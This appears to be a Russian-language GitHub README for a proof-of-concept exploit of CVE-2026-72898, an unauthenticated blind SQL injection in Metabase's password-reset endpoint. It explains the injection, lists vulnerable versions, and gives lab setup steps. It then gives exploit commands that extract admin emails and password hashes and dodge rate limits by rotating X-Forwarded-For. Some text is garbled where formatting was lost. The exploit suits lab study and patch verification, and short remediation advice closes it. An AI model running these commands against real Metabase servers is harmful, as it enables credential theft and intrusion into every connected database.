
Неаутентифицированный эксплойт слепой SQL-инъекции для Metabase, использующий необработанную SQL-инъекцию в конечной точке сброса пароля для извлечения данных с помощью техник, основанных на времени.
★ CVE-2026-72898 Metabase /api/session/reset_password неаутентифицированная слепая SQLi PoC ★
https://github.com/user-attachments/assets/4efe5ae3-2a41-4567-815b-ee3f731a5a59
CVE-2026-72898 — это неаутентифицированная SQL-инъекция в Metabase (CVSS 10.0), доступная через публичную конечную точку
POST /api/session/reset_password. Конечная точка объединяет тело запроса с результатом (неудачной) аутентификации —(merge request (authenticate ...))— поэтому полеuser-id, предоставленное атакующим, сохраняется нетронутым и попадает в запрос к пользователю базы данных приложенияt2/select-one :model/User :id user-idбез проверки целочисленности. Metabase строит SQL с помощью , чей словарь компилируется как (без привязки параметров). Отправка в виде таким образом внедряет произвольный SQL в базу данных приложения. Конечная точка всегда возвращает , поэтому инъекция является ; данные извлекаются с помощью (продакшн-стандартная база данных приложения Postgres). Успешная эксплуатация даёт доступ к данным администратора Metabase, сохранённым учётным данным подключения для каждого подключённого источника данных и полный переход в эти базы данных.
{:raw "..."}user-id{"raw":"<SQL>"}400pg_sleep| Категория | Версия |
|---|---|
| Уязвимые | Metabase (OSS 0.x / EE 1.x) v58.0 – v58.23, v59.0 – v59.20, v60.0 – v60.16, v61.0 – v61.10, v62.0 – v62.8, v63.0 – v63.4 |
| Исправленные | v58.24 / v59.21 / v60.17 / v61.11 / v62.9 / v63.5 или новее |
pos-int?, поэтому нецелочисленный user-id отклоняется до выполнения запросаСоберите и запустите уязвимый Metabase. Он использует базу данных приложения Postgres (обязательно — метод на основе времени требует pg_sleep, которого нет в H2) и автоматически завершает первоначальную настройку, поэтому загружается до страницы входа. Запуск занимает ~40–60 секунд.
docker build -t cve-2026-72898 .
docker run -d --name cve-2026-72898 --shm-size 256m -p 3000:3000 cve-2026-72898
| Предварительное условие | Состояние в этой лаборатории |
|---|---|
| Metabase v58 – v63.4 | v0.62.1 |
База данных приложения Postgres (включает pg_sleep) | встроена в образ |
/api/session/reset_password доступна без аутентификации | открыта |
| Ограничение сброса на IP (обходится ротацией X-Forwarded-For) | MB_SOURCE_ADDRESS_HEADER=X-Forwarded-For |
Эксплойт metabase_exploit.py считывает любое значение, на которое вы его нацелите, без учётных данных, используя слепой примитив на основе времени. Он отправляет новый случайный X-Forwarded-For для каждого запроса, чтобы обойти ограничение скорости на IP (как это делали атаки в дикой природе). Выберите цель с помощью --extract "<SQL>".
# по умолчанию: извлечь email администратора
python3 metabase_exploit.py 172.17.0.2:3000
# извлечь что угодно (любое скалярное SQL-выражение)
python3 metabase_exploit.py 172.17.0.2:3000 --extract "version()"
python3 metabase_exploit.py 172.17.0.2:3000 --extract "(SELECT string_agg(email||':'||password, ',') FROM core_user)"
[*] target http://172.17.0.2:3000/api/session/reset_password
[*] extract (SELECT email FROM core_user ORDER BY id LIMIT 1)
[*] length = 15; extracting ...
[ 1] a
[ 2] ad
...
[ 15] [email protected]
[+] EXTRACTED: [email protected]
Опции:
--check — только подтвердить, что инъекция эксплуатируема (показывает разницу во времени pg_sleep)--extract "<SQL>" — любое скалярное SQL-выражение (автоматически приводится к тексту)--sleep 0.4 — задержка на TRUE-бит (увеличьте на медленной/удалённой цели)POST /api/session/reset_password на прокси/WAFcore_session), проверьте учётные записи администраторов и ключи API, а также ротируйте учётные данные подключения каждого подключённого источника данных (предполагайте, что они были раскрыты, если конечная точка была доступна через интернет)